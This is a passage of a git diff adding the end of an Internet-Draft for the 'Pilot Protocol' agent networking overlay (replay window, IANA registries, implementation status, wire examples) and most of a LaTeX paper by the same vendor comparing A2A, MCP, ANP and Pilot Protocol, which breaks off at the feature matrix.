lower bound (more than 256 + positions behind the highest seen counter), the packet is rejected. +2. If the nonce counter falls within the window and the corresponding + bitmap bit is set, the packet is a replay and is rejected. +3. If the nonce counter is within the window and the bit is not set, the + bit is set and the packet is accepted. +4. If the nonce counter is ahead of the window, the window slides forward + and the packet is accepted. + +This provides replay protection while tolerating out-of-order packet +delivery within the window size. + +## IPC as Trust Boundary + +The Unix domain socket IPC between daemon and driver is a trust boundary. +The daemon trusts that any process connecting to the socket is authorized +(enforced by filesystem permissions, mode 0600). If an attacker gains +access to the socket, they can impersonate the local agent. Deployments +SHOULD ensure the daemon runs under a dedicated user account. + +# IANA Considerations + +## Pilot Protocol Tunnel Magic Values + +This document requests the creation of a "Pilot Protocol Tunnel Magic +Values" registry with the following initial entries: + +| Magic | Hex | Description | +|:------|:----|:------------| +| PILT | 0x50494C54 | Plaintext frame | +| PILS | 0x50494C53 | Encrypted frame | +| PILK | 0x50494C4B | Key exchange frame | +| PILA | 0x50494C41 | Authenticated key exchange frame | +| PILP | 0x50494C50 | NAT punch frame | + +## Pilot Protocol Type Values + +This document requests the creation of a "Pilot Protocol Type Values" +registry with the following initial entries: + +| Value | Name | Description | +|:------|:-----|:------------| +| 0x01 | Stream | Reliable, ordered delivery | +| 0x02 | Datagram | Unreliable, unordered delivery | +| 0x03 | Control | Internal control messages | + +## Pilot Protocol Well-Known Ports + +This document requests the creation of a "Pilot Protocol Well-Known +Ports" registry with the following initial entries: + +| Port | Service | Description | +|:-----|:--------|:------------| +| 0 | Ping | Liveness checks | +| 1 | Control | Daemon-to-daemon control | +| 7 | Echo | Echo service | +| 53 | Name Resolution | Nameserver | +| 80 | Agent HTTP | Web endpoints | +| 443 | Secure | End-to-end encrypted channel | +| 444 | Trust | Trust handshake protocol | +| 1000 | StdIO | Text stream | +| 1001 | DataExchange | Typed frame protocol | +| 1002 | EventStream | Pub/sub broker | +| 1003 | TaskSubmit | Task lifecycle | + +# Implementation Status + +Per {{RFC7942}}, this section documents the known implementations of +Pilot Protocol at the time of writing. + +## Go Reference Implementation + +Organization: +: Vulture Labs + +Description: +: Complete implementation of Pilot Protocol including daemon, driver SDK, + registry, beacon, nameserver, gateway, and CLI (pilotctl). Implemented + in Go with zero external dependencies. + +Level of maturity: +: Production deployments in experimental environments. + +Coverage: +: All features specified in this document are implemented, including + tunnel encryption (PILK/PILA/PILS/PILP), HKDF key derivation, + sliding-window replay detection, SACK, congestion control, flow + control, Nagle's algorithm, automatic segmentation, NAT traversal + (STUN, hole-punch, relay), trust handshake protocol with Ed25519 + relay signing, privacy model, registry high-availability replication, + enterprise RBAC and audit trail, OIDC/JWT identity integration, + gateway bridge, per-port connection limits, and all built-in services. + +Testing: +: 983 tests. Integration tests validated across 5 GCP regions (US + Central, US East, Europe West, US West, Asia East) with public-IP, + NAT-only, and symmetric-NAT topologies. + +Licensing: +: Proprietary. + +Contact: +: teodor@vulturelabs.com + +## Python SDK + +Organization: +: Vulture Labs + +Description: +: Python client SDK using ctypes FFI to the Go shared library. Published + on PyPI as `pilotprotocol`. + +Level of maturity: +: Production-ready. + +Coverage: +: Driver operations (dial, listen, accept, send, receive, close), + datagram support, info queries. + +Licensing: +: Proprietary. + +Contact: +: teodor@vulturelabs.com + +## Node.js SDK + +Organization: +: Vulture Labs + +Description: +: TypeScript client SDK with FFI bindings to the Go shared library. + Published on npm as `pilotprotocol`. + +Level of maturity: +: Production-ready. + +Coverage: +: Driver operations (dial, listen, accept, send, receive, close), + datagram support, info queries. Full TypeScript type definitions. + +Licensing: +: Proprietary. + +Contact: +: teodor@vulturelabs.com + +--- back + +# Acknowledgments + +The author thanks the participants of the IETF AI protocols discussions +for their contributions to the understanding of the agent communication +landscape. + +# Wire Examples + +## SYN Packet + +A SYN packet from `0:0000.0000.0001` port 49152 to `0:0000.0000.0002` +port 1000, with no payload: + +~~~~ +Byte 0: 0x11 (version=1, flags=SYN) +Byte 1: 0x01 (protocol=Stream) +Byte 2-3: 0x0000 (payload length=0) +Byte 4-5: 0x0000 (src network=0) +Byte 6-9: 0x00000001 (src node=1) +Byte 10-11: 0x0000 (dst network=0) +Byte 12-15: 0x00000002 (dst node=2) +Byte 16-17: 0xC000 (src port=49152) +Byte 18-19: 0x03E8 (dst port=1000) +Byte 20-23: 0x00000000 (seq=0) +Byte 24-27: 0x00000000 (ack=0) +Byte 28-29: 0x0200 (window=512 segments) +Byte 30-33: [CRC32] (computed over header) +~~~~ + +Total: 34 bytes. + +## Data Packet + +An ACK data packet with 5-byte payload "hello": + +~~~~ +Byte 0: 0x12 (version=1, flags=ACK) +Byte 1: 0x01 (protocol=Stream) +Byte 2-3: 0x0005 (payload length=5) +... +Byte 28-29: 0x01F6 (window=502 segments) +Byte 30-33: [CRC32] (computed over header + payload) +Byte 34-38: 0x68656C6C6F ("hello") +~~~~ + +Total: 39 bytes. + +## Encrypted Tunnel Frame + +A PILS frame carrying an encrypted Pilot packet: + +~~~~ +Byte 0-3: 0x50494C53 (magic="PILS") +Byte 4-7: 0x00000001 (sender node ID=1) +Byte 8-19: [12-byte nonce] +Byte 20+: [ciphertext + 16-byte GCM tag] +~~~~ diff --git a/docs/media/pilot-demo.gif b/docs/media/pilot-demo.gif new file mode 100644 index 00000000..7e22374c Binary files /dev/null and b/docs/media/pilot-demo.gif differ diff --git a/docs/media/pilot.png b/docs/media/pilot.png index a928005c..f6a5db97 100644 Binary files a/docs/media/pilot.png and b/docs/media/pilot.png differ diff --git a/docs/research/comparison/comparison.pdf b/docs/research/comparison/comparison.pdf new file mode 100644 index 00000000..ec1caf83 Binary files /dev/null and b/docs/research/comparison/comparison.pdf differ diff --git a/docs/research/comparison/comparison.tex b/docs/research/comparison/comparison.tex new file mode 100644 index 00000000..217f2366 --- /dev/null +++ b/docs/research/comparison/comparison.tex @@ -0,0 +1,580 @@ +\documentclass[11pt,a4paper]{article} + +% --- Packages --- +\usepackage[utf8]{inputenc} +\usepackage[T1]{fontenc} +\usepackage{lmodern} +\usepackage[margin=1in]{geometry} +\usepackage{booktabs} +\usepackage{array} +\usepackage{hyperref} +\usepackage{xcolor} +\usepackage{listings} +\usepackage{titlesec} +\usepackage{parskip} +\usepackage{fancyhdr} +\usepackage{tabularx} +\usepackage{multirow} + +% --- Colors --- +\definecolor{codeblue}{HTML}{2563EB} +\definecolor{codegray}{HTML}{6B7280} +\definecolor{codegreen}{HTML}{059669} +\definecolor{codebg}{HTML}{F8FAFC} +\definecolor{linkblue}{HTML}{1D4ED8} + +% --- Hyperref --- +\hypersetup{ + colorlinks=true, + linkcolor=linkblue, + urlcolor=linkblue, + citecolor=linkblue, + pdftitle={Agent Communication Protocols: A Technical Comparison}, + pdfauthor={Teodor-Ioan Calin}, +} + +% --- Code listing style --- +\lstdefinestyle{pilot}{ + backgroundcolor=\color{codebg}, + basicstyle=\ttfamily\small, + keywordstyle=\color{codeblue}\bfseries, + commentstyle=\color{codegray}\itshape, + stringstyle=\color{codegreen}, + breaklines=true, + frame=single, + rulecolor=\color{codegray!30}, + xleftmargin=1em, + xrightmargin=1em, + aboveskip=1em, + belowskip=1em, + showstringspaces=false, +} +\lstset{style=pilot} + +% --- Section styling --- +\titleformat{\section}{\Large\bfseries}{{\thesection}.}{0.5em}{} +\titleformat{\subsection}{\large\bfseries}{{\thesubsection}}{0.5em}{} + +% --- Header/Footer --- +\pagestyle{fancy} +\fancyhf{} +\fancyhead[L]{\small\textit{Agent Communication Protocols}} +\fancyhead[R]{\small\textit{Version 1.0}} +\fancyfoot[C]{\thepage} +\renewcommand{\headrulewidth}{0.4pt} + +% --- Custom column type for wrapped text --- +\newcolumntype{L}[1]{>{\raggedright\arraybackslash}p{#1}} +\newcolumntype{C}[1]{>{\centering\arraybackslash}p{#1}} + +% ============================================================ +\begin{document} + +% --- Title --- +\begin{titlepage} +\centering +\vspace*{3cm} + +{\Huge\bfseries Agent Communication Protocols\\[0.3em]} +{\LARGE A Technical Comparison of\\A2A, MCP, ANP, and Pilot Protocol\\[2em]} + +{\large Version 1.0 --- March 2026\\[3em]} + +{\Large Teodor-Ioan Calin\\[0.5em]} +{\large Vulture Labs\\[0.3em]} +{\small \url{https://vulturelabs.com}\\[1em]} + +\vfill + +{\large\textit{A systematic analysis of four protocols shaping\\agent-to-agent communication.}} + +\vspace{2cm} +\end{titlepage} + +% --- Abstract --- +\begin{abstract} +The AI agent ecosystem in 2026 features four major communication protocols operating at different layers of the stack: Google's Agent-to-Agent (A2A) protocol for task orchestration, Anthropic's Model Context Protocol (MCP) for tool integration, the Agent Network Protocol (ANP) for decentralized agent networking, and Pilot Protocol for network-layer infrastructure. Each addresses a distinct problem---connecting models to tools, coordinating tasks between agents, establishing decentralized identity, or providing the underlying connectivity fabric---yet developers frequently conflate them as competing standards. This paper presents the first systematic technical comparison across seven dimensions: protocol layer, transport and encoding, identity and addressing, discovery, security and trust, NAT traversal, and scalability. We demonstrate that these protocols are complementary rather than competing, operating at different layers of what will become the full agent communication stack. We conclude with concrete composition patterns showing how they combine in practice. +\end{abstract} + +\tableofcontents +\newpage + +% ============================================================ +\section{Introduction} + +The year 2026 marks a turning point in how autonomous AI agents communicate. After decades of building software around human-operated APIs---REST endpoints designed for browsers, webhooks triggered by user actions, OAuth flows requiring human consent---the industry is converging on the realization that agents need their own communication primitives. + +Four protocols have emerged to address this need: + +\begin{itemize} + \item \textbf{MCP} (Model Context Protocol), created by Anthropic in November 2024 and donated to the AI Alliance and Linux Foundation in December 2025, standardizes how language models connect to external tools and data sources. + \item \textbf{A2A} (Agent-to-Agent Protocol), created by Google in April 2025 and donated to the Linux Foundation in June 2025, defines how opaque agents delegate tasks to each other over HTTP. + \item \textbf{ANP} (Agent Network Protocol), created by Gaowei Chang in 2024 and released under the MIT license, proposes a decentralized identity and meta-protocol negotiation layer for open internet agent communication. + \item \textbf{Pilot Protocol}, created by Vulture Labs in 2025 and released under AGPL-3.0, provides a complete L3/L4 network stack---virtual addresses, ports, encrypted tunnels, NAT traversal---for agents. +\end{itemize} + +These protocols are frequently discussed as if they are competing standards vying for the same niche. They are not. They operate at fundamentally different layers of the communication stack and solve fundamentally different problems. MCP connects a model to its tools. A2A orchestrates tasks between agents. ANP establishes decentralized identity and negotiation. Pilot Protocol provides the underlying network infrastructure that makes agents reachable in the first place. + +This paper contributes the first systematic technical comparison of all four protocols. We analyze each across seven dimensions, identify their complementary nature, and present concrete composition patterns for using them together. + +% ============================================================ +\section{Protocol Overviews} + +\subsection{MCP (Model Context Protocol)} + +The Model Context Protocol was announced by Anthropic in November 2024 as an open standard for connecting AI models to external tools, data sources, and computational resources \cite{mcp-spec}. In December 2025, Anthropic donated MCP to the AI Alliance and Linux Foundation, establishing independent governance. The current specification version is 2025-11-25. + +MCP follows a host-client-server architecture inspired by the Language Server Protocol (LSP). A \textit{host} application (such as an IDE or chat interface) contains one or more MCP \textit{clients}, each maintaining a stateful session with an MCP \textit{server}. Servers expose three categories of primitives: + +\begin{itemize} + \item \textbf{Resources} --- contextual data that can be attached to a model's context window (files, database records, live data feeds). + \item \textbf{Tools} --- executable functions that the model can invoke with structured parameters, producing structured results. + \item \textbf{Prompts} --- reusable prompt templates that guide model behavior for specific tasks. +\end{itemize} + +Transport is provided via two mechanisms: \texttt{stdio} for local process communication, and \texttt{Streamable HTTP} (replacing the earlier HTTP+SSE transport) for remote connections. Authentication for remote servers uses OAuth 2.1 with PKCE, enabling secure third-party tool access without exposing credentials to the model. + +MCP's design deliberately limits its scope to the model-tool boundary. It does not address agent-to-agent communication, discovery of remote agents, or network-level concerns like NAT traversal. Its strength lies in standardizing tool integration---a problem previously solved ad hoc by every framework independently. + +\subsection{A2A (Agent-to-Agent Protocol)} + +Google introduced the Agent-to-Agent Protocol in April 2025, targeting the interoperability gap between autonomous agents built on different frameworks \cite{a2a-spec}. The protocol was donated to the Linux Foundation in June 2025 and has attracted support from over 100 technology companies including AWS, Microsoft, Salesforce, SAP, ServiceNow, and Cisco. + +A2A models communication between a \textit{client agent} and a \textit{remote agent}, where the remote agent is treated as opaque---its internal architecture, model choice, and tool usage are not exposed. This opacity is a deliberate design choice: agents are treated as services with capabilities, not as components to be inspected. + +The protocol operates over HTTP using JSON-RPC 2.0 for structured messaging, with Server-Sent Events (SSE) for streaming responses and optional webhook callbacks for asynchronous notifications. Starting with version 0.3.0, gRPC transport is also supported. A v1.0 release candidate is in progress with significant structural improvements including unified message types and Agent Card signature verification. + +Discovery centers on \textbf{Agent Cards}---JSON documents published at \texttt{/.well-known/agent-card.json} that describe an agent's capabilities, supported input/output modes, authentication requirements, and endpoint URL. Agent Cards serve a similar role to OpenAPI specifications but are designed specifically for agent-to-agent interaction. + +A2A defines a task lifecycle state machine with states including \texttt{submitted}, \texttt{working}, \texttt{input-required}, \texttt{completed}, \texttt{failed}, and \texttt{canceled}. Tasks contain \textit{messages} (communication turns) and \textit{artifacts} (output objects such as files, images, or structured data). This lifecycle model enables long-running tasks with human-in-the-loop interaction. + +Authentication is flexible, supporting API keys, OAuth 2.0, and mutual TLS. The protocol itself does not mandate a specific authentication mechanism, deferring to whatever the Agent Card declares. + +\subsection{ANP (Agent Network Protocol)} + +The Agent Network Protocol was created by Gaowei Chang (formerly of Alibaba) with the goal of enabling decentralized, open-internet communication between autonomous agents \cite{anp-spec}. Released under the MIT license, ANP takes an identity-first approach inspired by W3C Decentralized Identifiers (DIDs). + +ANP is organized into three layers: + +\begin{enumerate} + \item \textbf{Identity Layer} --- uses the W3C DID specification with a custom \texttt{did:wba} method (``Web-Based Agent''). Each agent's DID document is hosted at a well-known URL on its domain, containing public keys, service endpoints, and capability descriptions. This enables decentralized identity without requiring a blockchain. + \item \textbf{Meta-Protocol Layer} --- defines a natural-language negotiation mechanism where agents can dynamically agree on communication formats and interaction patterns. Rather than mandating a fixed schema, ANP allows agents to negotiate protocols at runtime using their language understanding capabilities. + \item \textbf{Application Layer} --- provides the Agent Description Protocol (ADP), a structured format for describing agent capabilities, similar in spirit to A2A's Agent Cards but built on JSON-LD and linked data principles. +\end{enumerate} + +Security in ANP relies on ECDHE (Elliptic Curve Diffie-Hellman Ephemeral) key exchange for end-to-end encryption and DID-based signatures for authentication. The trust model is rooted in domain ownership---an agent's DID is bound to its web domain, leveraging the existing DNS and TLS certificate infrastructure. + +ANP has submitted an IETF Internet-Draft (``Framework for AI Agent Networks,'' draft-zyyhl-agent-networks-framework-01) proposing standardization of the agent networking framework \cite{anp-ietf}. An accompanying arXiv paper details the protocol's architecture and security model \cite{anp-paper}. The project maintains an active open-source implementation and has conducted interoperability demonstrations with multiple agent frameworks. + +\subsection{Pilot Protocol} + +Pilot Protocol, created by Vulture Labs in 2025, takes a fundamentally different approach from the preceding protocols: rather than defining application-layer semantics for what agents say to each other, it provides the network infrastructure that makes agents reachable \cite{pilot-whitepaper}. + +Pilot Protocol is a complete L3/L4 overlay network stack layered on top of IP/UDP. Its core primitives mirror those of the internet itself: + +\begin{itemize} + \item \textbf{Addresses} --- 48-bit virtual addresses in the format \texttt{N:NNNN.HHHH.LLLL}, partitioned into a 16-bit network ID and 32-bit node ID. + \item \textbf{Ports} --- 16-bit port numbers enabling multiplexed services on a single address (echo on port 7, DNS on 53, HTTP on 80, secure on 443, etc.). + \item \textbf{Tunnels} --- encrypted UDP tunnels between agents, carrying Pilot packets with a compact 34-byte binary header. + \item \textbf{Transport} --- a full transport layer with sliding window reliability, AIMD congestion control, flow control with advertised receive windows, Nagle algorithm, and automatic segmentation. +\end{itemize} + +The security model is built on Ed25519 key pairs for identity and X25519 + AES-256-GCM for tunnel encryption. Trust is established through mutual handshakes: both agents must explicitly approve the connection before any data flows. Agents are \textbf{private by default}---they cannot be discovered, resolved, or contacted unless they have established trust. This inverts the default of HTTP-based protocols, where endpoints are publicly reachable unless protected. + +A critical differentiator is built-in NAT traversal. Pilot Protocol implements STUN-based endpoint discovery, UDP hole-punching for restricted NATs, and relay through beacon servers for symmetric NATs. This means agents behind consumer routers, corporate firewalls, or cloud NAT gateways can communicate without requiring public IP addresses, reverse proxies, or VPN infrastructure. Given that approximately 88\% of internet-connected devices sit behind NATs \cite{nat-stats}, this capability is essential for a truly distributed agent network. + +The reference implementation is written in Go with zero external dependencies. It includes a daemon process, a registry/beacon rendezvous server, a CLI tool (\texttt{pilotctl}), and a gateway for bridging Pilot and IP traffic. + +% ============================================================ +\section{Technical Comparison} + +\subsection{Protocol Layer and Purpose} + +The most fundamental difference between these protocols is the layer at which they operate. Table~\ref{tab:layer} summarizes each protocol's position in the stack. + +\begin{table}[h] +\centering +\caption{Protocol layer and purpose} +\label{tab:layer} +\begin{tabular}{@{}llll@{}} +\toprule +\textbf{Protocol} & \textbf{Layer} & \textbf{Purpose} & \textbf{Analogy} \\ +\midrule +MCP & Application (L7) & Model $\leftrightarrow$ Tool & USB for AI \\ +A2A & Application (L7) & Agent $\leftrightarrow$ Agent tasks & HTTP for agents \\ +ANP & Application (L7) & Agent identity + negotiation & DNS + TLS for agents \\ +Pilot & Network (L3/L4) & Agent connectivity fabric & TCP/IP for agents \\ +\bottomrule +\end{tabular} +\end{table} + +MCP operates at the boundary between a language model and its tools---it is fundamentally a tool integration protocol. A2A operates at the boundary between autonomous agents---it is a task orchestration protocol. ANP operates at the identity and negotiation layer---it is a decentralized identity and discovery protocol. Pilot Protocol operates below all three, providing the network connectivity that each assumes already exists. + +This layering has a critical implication: these protocols are not competing for the same niche. They address orthogonal concerns. An agent can simultaneously use MCP to access local tools, A2A to delegate tasks to remote agents, and Pilot Protocol to establish the encrypted tunnels over which those A2A messages travel. + +\subsection{Transport and Encoding} + +\begin{table}[h] +\centering +\caption{Transport and encoding comparison} +\label{tab:transport} +\begin{tabular}{@{}lllll@{}} +\toprule +& \textbf{MCP} & \textbf{A2A} & \textbf{ANP} & \textbf{Pilot} \\ +\midrule +Transport & stdio, HTTP & HTTP, gRPC & HTTPS & UDP \\ +Encoding & JSON-RPC 2.0 & JSON-RPC 2.0 & JSON-LD & Binary (34B hdr) \\ +Streaming & SSE & SSE + webhooks & --- & Native (flow ctl) \\ +Statefulness & Session-based & Task lifecycle & Stateless + JWT & Connection-based \\ +Overhead & Medium & Medium & Medium & Low \\ +\bottomrule +\end{tabular} +\end{table} + +MCP and A2A both use JSON-RPC 2.0 over HTTP, reflecting their application-layer orientation. This choice maximizes interoperability with existing web infrastructure but introduces per-request overhead: TCP handshakes, TLS negotiation, HTTP framing, and JSON parsing for every interaction. + +ANP uses JSON-LD (JSON for Linked Data), enabling semantic interoperability through standardized vocabularies. This adds expressiveness at the cost of parsing complexity and payload size. + +Pilot Protocol uses a compact binary encoding with a 34-byte packet header over raw UDP. This eliminates the overhead of HTTP framing and text-based encoding, resulting in significantly lower per-message costs---particularly important for high-frequency agent interactions such as streaming sensor data, real-time coordination, or pub/sub messaging. + +\subsection{Identity and Addressing} + +\begin{table}[h] +\centering +\caption{Identity and addressing comparison} +\label{tab:identity} +\begin{tabular}{@{}lllll@{}} +\toprule +& \textbf{MCP} & \textbf{A2A} & \textbf{ANP} & \textbf{Pilot} \\ +\midrule +Identity & OAuth tokens & Agent Card URL & W3C DID & Ed25519 key pair \\ +Addressing & URL / stdio & HTTP URL & DID URI & 48-bit virtual addr \\ +Persistence & Session-scoped & URL-lifetime & Domain-lifetime & Permanent \\ +Portability & No & No & Domain-bound & Full \\ +\bottomrule +\end{tabular} +\end{table} + +Identity models vary significantly. MCP delegates identity to OAuth---the model's identity is its access token, scoped to a session. A2A ties identity to an HTTP URL where an Agent Card is published; the agent \textit{is} its endpoint. ANP uses W3C DIDs bound to web domains, decoupling identity from a specific server while still relying on DNS. + +Pilot Protocol assigns each agent a permanent 48-bit virtual address derived from its Ed25519 key pair. This address persists across restarts, network changes, and physical migrations. An agent behind a home router today, a corporate firewall tomorrow, and a cloud VM next week retains the same address. No other protocol in this comparison offers this level of address permanence. + +\subsection{Discovery} + +\begin{table}[h] +\centering +\caption{Discovery mechanisms} +\label{tab:discovery} +\begin{tabular}{@{}L{1.5cm}L{2.5cm}L{2.5cm}L{2.5cm}L{3cm}@{}} +\toprule +& \textbf{MCP} & \textbf{A2A} & \textbf{ANP} & \textbf{Pilot} \\ +\midrule +Primary & Manual config & Well-known URL & DID resolution & Registry lookup \\ +Secondary & Community registry & Directory crawling & Search engines & Hostname + tags \\ +Scope & Local & Public internet & Public internet & Trust-gated \\ +Default & Configured & Discoverable & Discoverable & Private \\ +\bottomrule +\end{tabular} +\end{table} + +Discovery approaches reflect each protocol's trust philosophy. MCP servers are manually configured by the host application---there is no built-in discovery mechanism, though community registries and DNS-SD have emerged as conventions. + +A2A uses a well-known URL pattern (\texttt{/.well-known/agent-card.json}) that enables both targeted lookup and broad crawling. Any HTTP client can discover an A2A agent if it knows the domain. This openness facilitates ecosystem growth but also means agents are publicly enumerable by default. + +ANP uses DID resolution, where an agent's DID document (hosted at a well-known path on its domain) contains service endpoints and capabilities. Like A2A, this is publicly discoverable via web crawling and search engine indexing. + +Pilot Protocol takes the opposite approach: agents are \textbf{invisible by default}. The registry stores agent entries, but resolution is gated by trust---only agents that have completed a mutual handshake can resolve each other's addresses. Public agents can opt in to visibility, but the default is privacy. Agents can also register hostnames (human-readable names) and tags (capability descriptors) for discovery within their trust network. + +\subsection{Security and Trust} + +Security represents the most significant divergence between these protocols and merits detailed comparison. + +\begin{table}[h] +\centering +\caption{Security and trust comparison} +\label{tab:security} +\begin{tabular}{@{}L{2.2cm}L{2.5cm}L{2.5cm}L{2.5cm}L{2.5cm}@{}} +\toprule +& \textbf{MCP} & \textbf{A2A} & \textbf{ANP} & \textbf{Pilot} \\ +\midrule +Default visibility & Configured & Public & Public & Private \\ +Authentication & OAuth 2.1 + PKCE & API key / OAuth / mTLS & DID signatures + JWT & Ed25519 signatures \\ +Encryption & TLS (transport) & TLS (transport) & ECDHE E2E & X25519+AES-GCM E2E \\ +Trust establishment & Client config & Fetch Agent Card & DID resolution & Mutual handshake \\ +Revocation & Token expiry & HTTP 401/403 & DID key rotation & Instant (untrust) \\ +Enumeration & N/A & Crawlable & Crawlable & Blocked \\ +Blast radius & Connected servers & Full network & Full network & Trust set only \\ +\bottomrule +\end{tabular} +\end{table} + +\textbf{Default visibility.} MCP servers are not publicly addressable by design (they are local processes or configured endpoints). A2A and ANP agents are publicly discoverable through well-known URLs and DID resolution, respectively. Pilot agents are invisible: they cannot be discovered, resolved, pinged, or port-scanned unless they have established mutual trust with the querying agent. + +\textbf{Encryption.} MCP and A2A rely on TLS at the transport layer---encryption terminates at the server, and any intermediary (load balancer, CDN, reverse proxy) sees plaintext. ANP provides end-to-end encryption via ECDHE key exchange. Pilot Protocol provides end-to-end encryption via X25519 Diffie-Hellman key agreement with AES-256-GCM authenticated encryption, with a random nonce prefix per connection to prevent replay attacks. In both ANP and Pilot, intermediaries (including the rendezvous server or relay) cannot read message contents. + +\textbf{Blast radius.} If an A2A or ANP agent is compromised, the attacker can potentially interact with any agent on the network, since agents are publicly addressable. If a Pilot agent is compromised, the attacker can only reach agents in that agent's explicit trust set---other agents are invisible and unreachable. This containment property is a direct consequence of the private-by-default model. + +\textbf{Trust revocation.} In Pilot Protocol, an agent can instantly untrust another agent, immediately severing connectivity. There is no token to wait for expiry, no cache to invalidate, no URL to return 403 from. The untrusted agent simply ceases to exist from the perspective of the agent that revoked trust. + +\subsection{NAT Traversal} + +NAT traversal is perhaps the most practically significant differentiator for real-world deployment. Approximately 88\% of internet-connected devices operate behind Network Address Translation \cite{nat-stats}---meaning they do not have publicly routable IP addresses and cannot receive unsolicited inbound connections. + +\begin{table}[h] +\centering +\caption{NAT traversal capabilities} +\label{tab:nat} +\begin{tabular}{@{}L{2.5cm}L{2.5cm}L{2.5cm}L{2.5cm}L{2.5cm}@{}} +\toprule +& \textbf{MCP} & \textbf{A2A} & \textbf{ANP} & \textbf{Pilot} \\ +\midrule +NAT support & N/A (local) or reverse proxy & Requires public endpoint & HTTP-native, reverse proxy & Built-in \\ +Full Cone & N/A & Requires config & Works & Direct \\ +Restricted & N/A & VPN or tunnel & Works & Hole-punch \\ +Symmetric & N/A & VPN or tunnel & Works & Relay \\ +Setup required & None & Cloud infra & Web server & Zero \\ +\bottomrule +\end{tabular} +\end{table} + +MCP's primary transport (stdio) is local and NAT is irrelevant. Its HTTP transport requires the server to be reachable, meaning a reverse proxy or tunnel service for agents behind NAT. + +A2A assumes agents are reachable via HTTP URLs. An agent behind a NAT must provision a public endpoint---through a cloud deployment, a reverse proxy, a tunnel service like ngrok, or a VPN. This is a significant operational burden that limits A2A's applicability to agents running on developer laptops, IoT devices, or mobile platforms. + +ANP, being HTTP-based, has the same fundamental limitation as A2A regarding inbound connections. However, because it uses standard HTTPS, it benefits from existing reverse proxy infrastructure and CDN support. + +Pilot Protocol implements a three-tier NAT traversal strategy: + +\begin{enumerate} + \item \textbf{Full Cone NAT} --- STUN-based endpoint discovery. The agent's external address is valid for all peers; direct communication works immediately. + \item \textbf{Restricted / Port-Restricted Cone NAT} --- UDP hole-punching coordinated by the beacon server. Both agents simultaneously send packets to each other's STUN-discovered endpoints, creating NAT bindings that allow bidirectional flow. + \item \textbf{Symmetric NAT} --- relay through the beacon server. When hole-punching fails (because symmetric NATs assign different external ports per destination), traffic is relayed through the beacon with end-to-end encryption preserved. +\end{enumerate} + +This means any two Pilot agents can communicate regardless of their network topology, without any manual configuration, cloud infrastructure, or third-party tunnel services. The agent on a laptop behind a coffee shop WiFi can reach the agent on a Raspberry Pi behind a home router, which can reach the agent in a corporate data center---all using the same protocol, with the same security properties. + +\subsection{Scalability} + +The scalability characteristics of these protocols differ primarily in their connection overhead and coordination costs. + +\textbf{Connection overhead.} HTTP-based protocols (MCP, A2A, ANP) incur per-request costs: TCP connection establishment (1 RTT), TLS handshake (1--2 RTTs), HTTP framing, and JSON serialization. While HTTP/2 and connection pooling mitigate some costs, each distinct agent pair still requires at least one TLS handshake. Pilot Protocol's UDP tunnels are established once and multiplex all communication between a pair of agents, amortizing setup costs across the lifetime of the relationship. + +\textbf{The N$\times$(N-1)/2 problem.} In a fully connected network of $N$ agents, the number of pairwise connections grows quadratically. HTTP-based protocols face this challenge at the application layer, requiring each pair to establish and maintain separate HTTP connections. Pilot Protocol faces the same mathematical reality but addresses it at the network layer, where UDP tunnel multiplexing and the daemon's connection management reduce the per-connection overhead significantly. + +\textbf{Token tax.} HTTP-based agent coordination carries what we term the ``token tax''---the overhead of encoding structured data in JSON, wrapping it in HTTP, and parsing it back. For high-frequency interactions (hundreds of messages per second between cooperating agents), this overhead can reach 15$\times$ compared to binary protocols \cite{pilot-whitepaper}. For infrequent task delegation (A2A's primary use case), this overhead is negligible. + +\textbf{Pub/Sub and multicast.} Pilot Protocol provides built-in pub/sub messaging, enabling one-to-many communication patterns without establishing individual connections to each subscriber. MCP, A2A, and ANP do not provide native pub/sub; implementing broadcast patterns requires iterating over known peers and sending individual messages. + +% ============================================================ +\section{Complementarity} + +The central thesis of this paper is that MCP, A2A, ANP, and Pilot Protocol are not competing standards---they are complementary layers of what will become the complete agent communication stack. This section demonstrates concrete composition patterns. + +\subsection{The Layer Model} + +The four protocols map cleanly onto a layered architecture: + +\begin{lstlisting}[language={},keywords={},basicstyle=\ttfamily\small] ++---------------------------------------------------+ +| Application Services | +| (MCP tools, A2A tasks, ANP negotiation) | ++---------------------------------------------------+ +| Application Protocol Layer | +| MCP (model-tool) | A2A (agent-task) | ANP (DID) | ++---------------------------------------------------+ +| Network Layer | +| Pilot Protocol (addresses, ports, tunnels, trust) | ++---------------------------------------------------+ +| Physical Transport | +| IP / UDP / Internet | ++---------------------------------------------------+ +\end{lstlisting} + +Just as HTTP (application layer) does not compete with TCP/IP (network layer), A2A does not compete with Pilot Protocol. They operate at different layers and combine naturally. + +\subsection{Pilot + MCP} + +An MCP server can be exposed over a Pilot tunnel, enabling remote access to tools without a public IP address. The MCP client connects to the server's Pilot address and port; the Pilot tunnel provides encryption, NAT traversal, and trust-gated access. + +\begin{lstlisting}[language={},keywords={pilotctl},morekeywords={connect}] +# Agent A runs an MCP server, exposed on Pilot port 80 +# Agent B connects from across the internet +pilotctl connect 80 +# MCP JSON-RPC flows over the encrypted Pilot tunnel +\end{lstlisting} + +This composition provides several benefits over direct HTTP exposure: no public IP or reverse proxy required, end-to-end encryption (not just transport TLS), and trust-gated access (only trusted agents can reach the MCP server). + +\subsection{Pilot + A2A} + +A2A Agent Cards can advertise Pilot addresses instead of (or in addition to) HTTP URLs. Task requests and responses travel over Pilot tunnels, gaining NAT traversal and encryption automatically. + +\begin{lstlisting}[language={},keywords={}] +{ + "name": "research-agent", + "pilot_address": "1:0001.0000.0042", + "pilot_port": 80, + "skills": [{"name": "web-research", "id": "web-search-v2"}], + "authentication": { + "type": "pilot-trust", + "description": "Mutual Pilot handshake required" + } +} +\end{lstlisting} + +This composition replaces the assumption that agents must have HTTP URLs (and therefore public IP addresses) with the weaker assumption that agents have Pilot addresses (which work behind any NAT type). + +\subsection{Pilot + ANP} + +ANP's DID documents can reference Pilot endpoints as service entries, enabling DID-based identity verification over Pilot tunnels. The ANP identity layer provides decentralized, domain-anchored identity; the Pilot layer provides the connectivity. + +\begin{lstlisting}[language={},keywords={}] +{ + "@context": "https://www.w3.org/ns/did/v1", + "id": "did:wba:example.com:agent:research", + "service": [{ + "type": "PilotProtocol", + "serviceEndpoint": "pilot://1:0001.0000.0042:80" + }] +} +\end{lstlisting} + +This composition combines ANP's strength (decentralized identity without blockchain) with Pilot's strength (connectivity without public endpoints). + +% ============================================================ +\section{Feature Matrix} + +Table~\ref{tab:matrix} presents a comprehensive feature comparison across all dimensions discussed in this paper. + +\begin{table}[h] +\centering +\caption{Comprehensive feature matrix} 